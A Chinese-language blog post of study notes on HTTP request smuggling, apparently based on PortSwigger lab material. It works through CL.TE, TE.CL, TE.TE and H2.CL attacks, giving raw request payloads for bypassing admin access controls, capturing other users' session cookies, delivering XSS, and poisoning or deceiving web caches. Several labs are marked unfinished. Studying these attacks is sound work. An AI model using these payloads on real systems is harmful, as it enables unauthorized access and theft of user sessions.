侧边栏壁纸
博主头像
咿呀咿呀

你的脚步太乱,所以行程有限

  • 累计撰写 29 篇文章
  • 累计创建 4 个标签
  • 累计收到 2 条评论
标签搜索

HTTP请求走私

咿呀咿呀
2022-04-16 / 0 评论 / 0 点赞 / 572 阅读 / 15,335 字
温馨提示:
本文最后更新于 2022-04-16,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

所有内容,来自burpsuite官方靶场(portswigger)

HTTP请求走私

什么是HTTP请求走私

​ HTTP 请求走私是一种干扰网站处理从一个或多个用户接收的 HTTP 请求序列方式的技术。请求走私漏洞在本质上通常很关键,允许攻击者绕过安全控制,未经授权访问敏感数据,并直接危害其他应用程序用户。

image-20211027171823713

HTTP请求走私攻击会发生什么

​ 当今的 Web 应用程序经常在用户和最终应用程序逻辑之间使用 HTTP 服务器链。用户向前端服务器(有时称为负载平衡器或反向代理)发送请求,该服务器将请求转发到一个或多个后端服务器。这种类型的架构在现代基于云的应用程序中越来越普遍,在某些情况下是不可避免的。

​ 当前端服务器将 HTTP 请求转发到后端服务器时,它通常会通过同一个后端网络连接发送多个请求,因为这样更加高效和高效。协议很简单:HTTP请求一个接一个发送,接收服务器解析HTTP请求头,判断一个请求从哪里结束,下一个请求从哪里开始:

image-20211028094122208

在这种情况下,前端和后端系统就请求之间的边界达成一致至关重要。否则,攻击者可能能够发送由前端和后端系统以不同方式解释的模棱两可的请求:

image-20211028094247999

​ 在这里,攻击者使他们的前端请求的一部分被后端服务器解释为下一个请求的开始。它实际上是在下一个请求的前面,因此可能会干扰应用程序处理该请求的方式。这是一种请求走私攻击,它可能会产生破坏性的结果。

HTTP请求走私漏洞是如何产生的?

​ 大多数 HTTP 请求走私漏洞的出现是因为 HTTP 规范提供了两种不同的方式来指定请求的结束位置:Content-Length标头和Transfer-Encoding标头。

Content-Length头是直接的:它指定消息体的以字节为单位的长度。例如:

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

Transfer-Encoding首标可以被用于指定该消息体的用途分块编码。这意味着消息正文包含一个或多个数据块。每个块由以字节为单位的块大小(以十六进制表示)、后跟换行符和块内容组成。消息以大小为零的块终止。例如:

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b#11的16进制

q=smuggling

0

由于 HTTP 规范提供了两种不同的方法来指定 HTTP 消息的长度,因此单个消息可能会同时使用这两种方法,从而导致它们相互冲突。HTTP 规范试图通过声明如果Content-LengthTransfer-Encoding标头都存在,Content-Length则应忽略标头来防止此问题。当只有一个服务器在运行时,这可能足以避免歧义,但当两个或多个服务器链接在一起时则不然。在这种情况下,出现问题的原因有两个:

  • 某些服务器不支持Transfer-Encoding请求中的标头。
  • Transfer-Encoding如果标头以某种方式被混淆,一些 支持标头的服务器可能会被诱导不处理它。

如果前端和后端服务器在(可能被混淆的)Transfer-Encoding 标头方面的行为不同,那么它们可能会在连续请求之间的边界上存在分歧,从而导致请求走私漏洞。

如何执行HTTP请求走私攻击

​ 请求走私攻击涉及将Content-Length标头和Transfer-Encoding 标头放入单个 HTTP 请求并对其进行操作,以便前端和后端服务器以不同的方式处理请求。完成此操作的确切方式取决于两个服务器的行为:

  • CL.TE:前端服务器使用Content-Length头部,后端服务器使用Transfer-Encoding头部。
  • TE.CL:前端服务器使用Transfer-Encoding头部,后端服务器使用Content-Length头部。
  • TE.TE:前端和后端服务器都支持Transfer-Encoding头部,但可以通过某种方式混淆头部来诱导其中一个服务器不处理它。
CL.TE漏洞

​ 这里,前端服务器使用Content-Length标头,后端服务器使用Transfer-Encoding标头。我们可以执行一个简单的 HTTP 请求走私攻击,如下所示:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

​ 前端服务器处理Content-Length标头并确定请求正文长度为 13 个字节,直到SMUGGLED. 该请求被转发到后端服务器。

​ 后端服务器处理Transfer-Encoding标头,因此将消息正文视为使用分块编码。它处理第一个块,它被声明为零长度,因此被视为终止请求。后面的字节 ,SMUGGLED未处理,后端服务器会将它们视为序列中下一个请求的开始。

LAB:HTTP请求走私,基本CL.TE漏洞

image-20211028102920125

————————————————
很好理解,在前端服务器中,是以CL(Content-Length)为准,所以前端服务器认为这是一个包,全部转发给后端服务器,而在后端服务器,是以TE(Transfer-Encoding)为准,服务器会接收前端服务器的转发的请求数据,放在缓冲区中,当读取到 0\r\n 时,认为一个请求完全结束,后面的数据依然存在于缓冲区,等待下一次转发的数据进入缓冲区,而当我们第二次发送请求时,我们缓冲区的G就成了下一次请求的开始,变成 GPOST / HTTP/1.1 ,成功构造 GPOST请求,完成实验。
————————————————

TE.CL漏洞
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

​ 前端服务器处理Transfer-Encoding标头,因此将消息正文视为使用分块编码。它处理第一个块,它被声明为 8 个字节长,直到下面一行的开头SMUGGLED。它处理被声明为零长度的第二个块,因此被视为终止请求。该请求被转发到后端服务器。

​ 后端服务器处理Content-Length标头并确定请求正文的长度为 3 个字节(/r/n),直到8. 以下以 开头的字节SMUGGLED未处理,后端服务器会将它们视为序列中下一个请求的开始。

LAB:HTTP请求走私,基本TE.CL漏洞

两次访问以下内容
image-20211028111526579
走私成功

image-20211028111636830
可以取消自动更新Content-Length

TE.TE 行为:混淆 TE 标头

​ 这里,前端和后端服务器都支持Transfer-Encoding标头,但可以通过以某种方式混淆标头来诱导其中一台服务器不处理它。

可能有无数种方法来混淆Transfer-Encoding标题。例如:

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked

Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding: chunked

这些技术中的每一种都涉及与 HTTP 规范的微妙背离。实现协议规范的现实世界代码很少绝对精确地遵守它,并且不同的实现通常会容忍来自规范的不同变化。要发现 TE.TE 漏洞,需要找到Transfer-Encoding报头的一些变体,以便只有前端或后端服务器之一处理它,而另一台服务器忽略它。

根据可以诱导不处理混淆Transfer-Encoding标头的是前端还是后端服务器,攻击的其余部分将采用与已经描述的 CL.TE 或 TE.CL 漏洞相同的形式。

LAB:HTTP请求走私,混淆TE头

执行俩次后
image-20211028112347940

寻找HTTP请求走私漏洞

使用计时技术查找HTTP请求走私漏洞

​ 检测 HTTP 请求走私漏洞的最普遍有效的方法是发送请求,如果存在漏洞,将导致应用程序响应的时间延迟。Burp Scanner使用这种技术来自动检测请求走私漏洞。

使用计时技术查找 CL.TE 漏洞

​ 如果应用程序容易受到请求走私的 CL.TE 变体的攻击,那么发送如下请求通常会导致时间延迟:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

由于前端服务器使用Content-Length标头,因此它只会转发此请求的一部分,省略X.(换行/r/n占2) 后端服务器使用Transfer-Encoding标头,处理第一个块,然后等待下一个块到达。这将导致可观察到的时间延迟。

使用计时技术查找 TE.CL 漏洞

​ 如果应用程序容易受到请求走私的 TE.CL 变体的攻击,那么发送如下请求通常会导致时间延迟:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

由于前端服务器使用Transfer-Encoding标头,因此它只会转发此请求的一部分,省略X. 后端服务器使用Content-Length标头,期望消息正文中有更多内容,并等待剩余内容到达。这将导致可观察到的时间延迟。

Tips:

如果应用程序容易受到漏洞的 CL.TE 变体的攻击,那么针对 TE.CL 漏洞的基于时间的测试可能会干扰其他应用程序用户。因此,要保持隐蔽并最大程度地减少中断,您应该首先使用 CL.TE 测试,只有在第一次测试不成功时才继续进行 TE.CL 测试。
使用差异响应确认HTTP请求走私漏洞

​ 当检测到可能的请求走私漏洞时,可以通过利用该漏洞触发应用程序响应内容的差异来获取该漏洞的进一步证据。这涉及快速连续向应用程序发送两个请求:

  • 旨在干扰下一个请求的处理的“攻击”请求。
  • 一个“正常”的请求。

如果对正常请求的响应包含预期的干扰,则确认该漏洞。

例如,假设正常请求如下所示:

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

此请求通常会收到状态代码为 200 的 HTTP 响应,其中包含一些搜索结果。

干扰此请求所需的攻击请求取决于存在的请求走私的变体:CL.TE 与 TE.CL

使用差异响应确认CL.TE漏洞

​ 要确认 CL.TE 漏洞,可以发送如下攻击请求:

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: x

如果攻击成功,则该请求的最后两行被后端服务器视为属于接收到的下一个请求。这将导致随后的“正常”请求如下所示:

GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1   
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

由于这个请求现在包含一个无效的 URL,服务器将响应状态码 404,表明攻击请求确实干扰了它。

LAB:HTTP请求走私,通过差异响应确认CL.TE漏洞

同样两次请求,一次200、一次404 说明确实干扰了服务器请求

image-20211028114737425

使用差异响应确认 TE.CL 漏洞

要确认 TE.CL 漏洞,您可以发送如下攻击请求:

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

如果攻击成功,那么从GET /404后面开始的所有内容都会被后端服务器视为属于接收到的下一个请求。这将导致随后的“正常”请求如下所示:

GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

x=
0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

由于这个请求现在包含一个无效的 URL,服务器将响应状态码 404,表明攻击请求确实干扰了它。

LAB:HTTP请求走私,通过差异响应确认TE.CL漏洞

同样俩次请求、一次200、一次404
image-20211028115750215

Note:

在尝试通过干扰其他请求来确认请求走私漏洞时,应牢记一些重要的考虑因素:

  • “攻击”请求和“正常”请求应该使用不同的网络连接发送到服务器。通过同一连接发送两个请求并不能证明该漏洞存在。
  • “攻击”请求和“正常”请求应尽可能使用相同的 URL 和参数名称。这是因为许多现代应用程序根据 URL 和参数将前端请求路由到不同的后端服务器。使用相同的 URL 和参数会增加请求被同一后端服务器处理的机会,这对于攻击的进行至关重要。
  • 在测试“正常”请求以检测来自“攻击”请求的任何干扰时,您正在与应用程序同时接收的任何其他请求(包括来自其他用户的请求)竞争。您应该在“攻击”请求之后立即发送“正常”请求。如果应用程序繁忙,您可能需要执行多次尝试来确认漏洞。
  • 在某些应用中,前端服务器起到负载均衡器的作用,根据某种负载均衡算法将请求转发到不同的后端系统。如果你的“攻击”和“正常”请求被转发到不同的后端系统,那么攻击就会失败。这是您可能需要多次尝试才能确认漏洞的另一个原因。
  • 如果您的攻击成功干扰了后续请求,但这不是您为检测干扰而发送的“正常”请求,则这意味着另一个应用程序用户受到了您的攻击。如果您继续执行测试,这可能会对其他用户产生破坏性影响,您应该谨慎行事。

利用HTTP请求走私漏洞

使用 HTTP 请求走私绕过前端安全控制

​ 在一些应用中,前端Web服务器用于实现一些安全控制,决定是否允许处理单个请求。允许的请求被转发到后端服务器,在那里它们被认为已经通过了前端控件。

例如,假设一个应用程序使用前端服务器来实现访问控制限制,只有当用户被授权访问请求的 URL 时才转发请求。然后后端服务器无需进一步检查即可满足每个请求。在这种情况下,可以使用 HTTP 请求走私漏洞绕过访问控制,通过将请求走私到受限制的 URL。

​ 假设当前用户被允许访问/home但不允许访问/admin。他们可以使用以下请求走私攻击绕过此限制:

POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com

前端服务器在这里看到两个请求,都是针对 的/home,因此请求被转发到后端服务器。但是,后端服务器会看到一个请求/home和一个请求/admin。它假定(一如既往)请求已通过前端控件,因此授予对受限 URL 的访问权限。

LAB:利用HTTP请求走私绕过前端安全控制,CL.TE漏洞

同样两次请求发送
image-20211028141117910

得到信息:Admin interface only available to local users,那么添加
Host: localhost

image-20211028141500649

得到信息:第二个请求的 Host 标头与第一个请求中走私的 Host 标头冲突而被阻止

image-20211028142058288

image-20211028142205097

–本实验涉及前后端服务器,前端服务器不支持分块编码。有一个管理面板/admin,但前端服务器阻止访问它。

要解决实验室问题,需将请求走私到访问管理面板并删除用户的后端服务器carlos。–

LAB:利用HTTP请求走私绕过前端安全控制,TE.CL漏洞

同样两次访问
image-20211028142639948

不是localhost、被拒绝

添加localhost后,两次访问
image-20211028142848476

两(多)次访问
image-20211028143007387

提示前端请求重写

​ 在许多应用程序中,前端服务器在将请求转发到后端服务器之前对其进行一些重写,通常是通过添加一些额外的请求标头。例如,前端服务器可能:

  • 终止 TLS 连接并添加一些描述使用的协议和密码的标头;
  • 添加X-Forwarded-For包含用户 IP 地址的标头;
  • 根据他们的会话令牌确定用户的 ID 并添加一个标识用户的标头;或者
  • 添加一些其他攻击感兴趣的敏感信息。

在某些情况下,如果走私请求缺少前端服务器通常添加的某些标头,那么后端服务器可能无法以正常方式处理请求,从而导致走私请求无法达到预期的效果。

通常有一种简单的方法可以准确地揭示前端服务器如何重写请求。为此,需要执行以下步骤:

  • 查找将请求参数的值反映到应用程序响应中的 POST 请求。
  • 对参数进行随机排列,以便反映的参数最后出现在消息正文中。
  • 将此请求走私到后端服务器,然后直接跟随一个普通请求,该请求的重写形式是您想要显示的。

假设一个应用程序有一个反映email参数值的登录函数:

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

email=wiener@normal-user.net

这会产生包含以下内容的响应:

<input id="email" value="wiener@normal-user.net" type="text">

在这里,您可以使用以下请求走私攻击来揭示前端服务器执行的重写:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

email=POST /login HTTP/1.1
Host: vulnerable-website.com
...

请求将由前端服务器重写以包含额外的标头,然后后端服务器将处理走私的请求并将重写的第二个请求视为email参数的值。然后它将在对第二个请求的响应中反映该值:

<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...

Note
由于最后的请求正在被重写,你不知道它会结束多久。Content-Length走私请求中标头中的值将决定后端服务器相信该请求的时间。如果将此值设置得太短,将只会收到部分重写的请求;如果设置太长,后端服务器将超时等待请求完成。当然,解决的方法是猜测一个比提交的请求大一点的初始值,然后逐渐增大该值以检索更多信息,直到您拥有所有感兴趣的信息。

一旦揭示了前端服务器如何重写请求,就可以对走私请求应用必要的重写,以确保后端服务器以预期的方式处理它们。

LAB:利用HTTP请求走私来揭示前端请求重写

image-20211028144655582

搜索功能
image-20211028144845684

俩次访问
image-20211028145031913

成功走私搜索功能,记下X-*-IP重写请求中标头的名称,并使用它来访问管理面板

添加`X-mLgUMK-Ip: 127.0.0.1信息后,访问/admin,重复访问

image-20211028145848013
image-20211028145948753

绕过客服端身份验证

​ 作为 TLS 握手的一部分,服务器通过提供证书向客户端(通常是浏览器)进行身份验证。此证书包含他们的“通用名称”(CN),该名称应与其注册的主机名相匹配。客户端然后可以使用它来验证他们正在与属于预期域的合法服务器交谈。

​ 一些站点更进一步,实现了一种相互 TLS 身份验证的形式,其中客户端还必须向服务器提供证书。在这种情况下,客户端的 CN 通常是用户名等,例如,它可以在后端应用程序逻辑中用作访问控制机制的一部分。

​ 对客户端进行身份验证的组件通常通过一个或多个非标准 HTTP 标头将相关详细信息从证书传递到应用程序或后端服务器。例如,前端服务器有时会将包含客户端 CN 的标头附加到任何传入请求中:

GET /admin HTTP/1.1
Host: normal-website.com
X-SSL-CLIENT-CN: carlos

由于这些标头应该对用户完全隐藏,因此后端服务器通常隐式信任它们。假设能够发送正确的标头和值组合,这可能能够绕过访问控制。

在实践中,这种行为通常是不可利用的,因为前端服务器往往会覆盖这些已经存在的标头。但是,走私的请求对前端完全隐藏,因此它们包含的任何标头都将原封不动地发送到后端。

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
Foo: x
捕获其他用户的请求

​ 如果应用程序包含允许存储和检索文本数据的任何类型的功能,则可以使用 HTTP 请求走私来捕获其他用户请求的内容。这些可能包括会话令牌、启用会话劫持攻击或用户提交的其他敏感数据。用作此攻击工具的合适功能是评论、电子邮件、个人资料描述、屏幕名称等。

​ 要执行攻击,需要走私一个向存储函数提交数据的请求,参数包含位于请求中最后的数据。后端服务器处理的下一个请求将附加到走私请求,结果是其他用户的原始请求被存储。

假设一个应用程序使用以下请求提交博客文章评论,该评论将被存储并显示在博客上:

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net

可以执行以下请求走私攻击,将数据存储请求走私到后端服务器:

GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 324

0

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=

当后端服务器处理另一个用户的请求时,它会附加到走私的请求中,结果用户的请求被存储,包括受害用户的会话 cookie 和任何其他敏感数据:

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencodedContent-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1Host: vulnerable-website.comCookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
...

然后,可以通过以正常方式检索存储的数据来检索其他用户请求的详细信息。

这种技术的一个限制是它通常只会捕获数据,直到适用于走私请求的参数定界符为止。对于 URL 编码的表单提交,这将是&字符,这意味着从受害者用户的请求中存储的内容将在第一个 结束&,它甚至可能出现在查询字符串中

LAB:利用HTTP请求走私来捕获其他用户的请求

本实验涉及前后端服务器,前端服务器不支持分块编码。

image-20211028153457171
comment放最后依然有效

未完成
https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests
使用HTTP请求走私来利用反射型XSS

​ 如果应用程序容易受到 HTTP 请求走私攻击并且还包含反射型 XSS,可以使用请求走私攻击来攻击该应用程序的其他用户。这种方法在两个方面优于反射型 XSS 的正常利用:

  • 它不需要与受害用户交互。不需要向他们提供 URL 并等待他们访问它。只需走私一个包含 XSS 负载的请求,后端服务器处理的下一个用户请求就会被命中。
  • 它可用于在正常反射型 XSS 攻击中无法控制的部分请求中利用 XSS 行为,例如 HTTP 请求标头。

例如,假设一个应用程序在User-Agent头部有一个反射的 XSS 漏洞。可以在请求走私攻击中利用这一点,如下所示:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

下一个用户的请求将附加到走私的请求中,他们将在响应中收到反射的 XSS 负载。

LAB:利用HTTP请求走私来传递反射型XSS

评论功能
image-20211028161939424

将 XSS 负载注入User-Agent标头并观察它是否被反射:
"/><script>alert(1)</script>

image-20211028162756841

使用HTTP请求走私将现场重定向转换为开放重定向

​ 许多应用程序执行从一个 URL 到另一个 URL 的现场重定向,并将请求Host标头中的主机名放入重定向 URL。这方面的一个示例是 Apache 和 IIS Web 服务器的默认行为,其中对没有尾部斜杠的文件夹的请求会收到重定向到包含尾部斜杠的同一文件夹:

GET /home HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

这种行为通常被认为是无害的,但可以在请求走私攻击中利用它来将其他用户重定向到外部域。例如:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

走私的请求会触发到攻击者网站的重定向,这将影响后端服务器处理的下一个用户的请求。例如:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

此处,用户请求的是由网站上的页面导入的 JavaScript 文件。攻击者可以通过在响应中返回他们自己的 JavaScript 来完全危害受害用户。

使用HTTP请求走私进行Web缓存投毒

​ 在上述攻击的变体中,可能会利用 HTTP 请求走私来执行 Web 缓存中毒攻击。如果前端基础结构的任何部分执行内容缓存(通常是出于性能原因),则可能会使用异地重定向响应来毒化缓存。这将使攻击持续存在,影响随后请求受影响 URL 的任何用户。

在此变体中,攻击者将以下所有内容发送到前端服务器:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com

走私的请求到达后端服务器,后端服务器像以前一样通过异地重定向进行响应。前端服务器根据它认为是第二个请求中的 URL 缓存此响应,即/static/include.js

GET /static/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

从这时起,当其他用户请求此 URL 时,他们会收到指向攻击者网站的重定向。

LAB:利用HTTP请求走私进行Web缓存欺骗
未完成
使用HTTP请求走私进行Web缓存欺骗

在攻击的另一个变体中,可以利用 HTTP 请求走私来执行 Web 缓存欺骗。这与 Web 缓存中毒攻击的工作方式类似,但目的不同。

网页缓存中毒和网页缓存欺骗有什么区别?

  • Web 缓存中毒中,攻击者使应用程序在缓存中存储一些恶意内容,并将这些内容从缓存中提供给其他应用程序用户。
  • Web 缓存欺骗中,攻击者使应用程序在缓存中存储一些属于其他用户的敏感内容,然后攻击者从缓存中检索这些内容。

在这个变体中,攻击者走私一个请求,返回一些敏感的用户特定内容。例如:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked

0

GET /private/messages HTTP/1.1
Foo: X

转发到后端服务器的另一个用户的下一个请求将附加到走私请求,包括会话 cookie 和其他标头。例如:

GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...

后端服务器以正常方式响应此请求。请求中的 URL 用于用户的私人消息,请求在受害用户会话的上下文中进行处理。前端服务器根据它认为是第二个请求中的 URL 缓存此响应,即/static/some-image.png

GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...

然后攻击者访问静态 URL 并接收从缓存返回的敏感内容。

这里的一个重要警告是,攻击者不知道缓存敏感内容所针对的 URL,因为这将是受害用户在走私请求生效时碰巧请求的任何 URL。攻击者可能需要获取大量静态 URL 才能发现捕获的内容。

LAB—:利用HTTP请求走私进行Web缓存欺骗

本实验涉及前后端服务器,前端服务器不支持分块编码。前端服务器正在缓存静态资源。

响应没有反缓存标头
image-20211029103504508

走私请求获取API秘钥

高级请求走私

HTTP/2请求走私

​ 下面将展示与主流相反的看法:实施 HTTP/2 实际上如何使许多网站更容易受到请求走私的影响,即使它们以前可以免受此类攻击。

HTTP/2消息长度

​ 请求走私基本上是关于利用不同服务器如何解释请求长度之间的差异。HTTP/2 引入了一种单一的、健壮的机制来执行此操作,长期以来人们一直认为该机制可以使其本质上不受请求走私的影响。

​ 尽管不会在 Burp 中看到这一点,但 HTTP/2 消息作为一系列单独的“帧”通过网络发送。每个帧前面都有一个明确的长度字段,它告诉服务器要读入多少字节。因此,请求的长度只是其帧长度的总和。

​ 理论上,这种机制意味着攻击者没有机会引入请求走私所需的歧义,只要网站使用 HTTP/2 端到端。然而,在野外,由于 HTTP/2 降级的普遍但危险的做法,情况往往并非如此

HTTP/2降级

​ HTTP/2 降级是使用 HTTP/1 语法重写 HTTP/2 请求以生成等效的 HTTP/1 请求的过程。Web 服务器和反向代理通常会这样做,以便在与仅使用 HTTP/1 的后端服务器通信时为客户端提供 HTTP/2 支持。这种做法是本节中介绍的许多攻击的先决条件。
image-20211029104246809

​ 当使用 HTTP/1 的后端发出响应时,前端服务器会反转此过程以生成返回给客户端的 HTTP/2 响应。

这是有效的,因为协议的每个版本基本上只是表示相同信息的不同方式。HTTP/1 消息中的每一项在 HTTP/2 中都有一个近似值。
image-20211029104627109
因此,服务器在两种协议之间转换这些请求和响应相对简单。事实上,这就是 Burp 能够使用HTTP/1语法在消息编辑器中显示HTTP/2消息的方式。

HTTP/2降级非常普遍,甚至是许多流行的反向代理服务器的默认行为。在某些情况下。甚至没有禁用它的选项。

HTTP/2降级带来的风险

​ HTTP/2 降级会使网站暴露于请求走私攻击,即使 HTTP/2 本身在端到端使用时通常被认为是免疫的。

​ HTTP/2 内置的长度机制意味着,当使用 HTTP 降级时,可能存在三种不同的方式来指定同一请求的长度,这是所有请求走私攻击的基础.

H2.CL漏洞

​ HTTP/2 请求不必在标头中明确指定其长度。在降级期间,这意味着前端服务器通常会添加一个 HTTP/1Content-Length标头,使用HTTP/2 的内置长度机制派生其值。有趣的是,HTTP/2 请求也可以包含它们自己的content-length标头。在这种情况下,某些前端服务器将在生成的 HTTP/1 请求中简单地重用此值。

​ 规范规定content-lengthHTTP/2 请求中的任何标头都必须与使用内置机制计算的长度匹配,但这在降级之前并不总是正确验证。因此,可能会通过注入误导性content-length标头来走私请求。尽管前端将使用隐式 HTTP/2 长度来确定请求的结束位置,但 HTTP/1 后端必须引用Content-Length从注入的标头派生的标头,从而导致不同步。

前端(HTTP/2)
image-20211029105351523

后端(HTTP/1)
image-20211029105423440

在执行某些请求走私攻击时,需要将受害者请求的标头附加到走私前缀。但是,在某些情况下,这些会干扰攻击,导致重复的标头错误等。在上面的示例中,我们通过Content-Length在走私前缀中包含一个尾随参数和一个标头来缓解这种情况。通过使用Content-Length比正文稍长的标头,受害者的请求仍将附加到走私前缀,但会在标头之前被截断。

LAB1:H2.CL请求走私

image-20220416163753681

–未完待续–

0

评论区